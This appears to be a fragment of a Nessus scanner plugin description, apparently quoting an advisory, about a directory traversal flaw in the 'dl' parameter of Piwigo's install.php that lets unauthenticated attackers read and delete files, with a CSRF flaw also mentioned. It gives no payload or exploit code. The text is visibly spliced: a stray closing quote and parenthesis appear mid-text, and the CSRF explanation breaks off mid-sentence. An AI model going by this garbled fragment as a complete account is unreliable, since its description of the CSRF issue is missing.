"The version of Piwigo hosted on the remote web server is affected by a
directory traversal vulnerability because it fails to properly sanitize
user-supplied input to the 'dl' parameter of the 'install.php' script. 
This vulnerability could allow an unauthenticated, remote attacker to
read and delete arbitrary files by forming a request containing
directory traversal sequences. 

Note that the application is reportedly also affected by a cross-site
request forgery vulnerability, although Nessus has not tested this.");

The CSRF vulnerability exists due to insufficient verification of the

The path traversal vulnerability exists due to insufficient filtration
of user-supplied input in 'dl' HTTP GET parameter passed to
'/install.php' script. The script is present on the system after
installation by default, and can be accessed by attacker without any
restrictions."
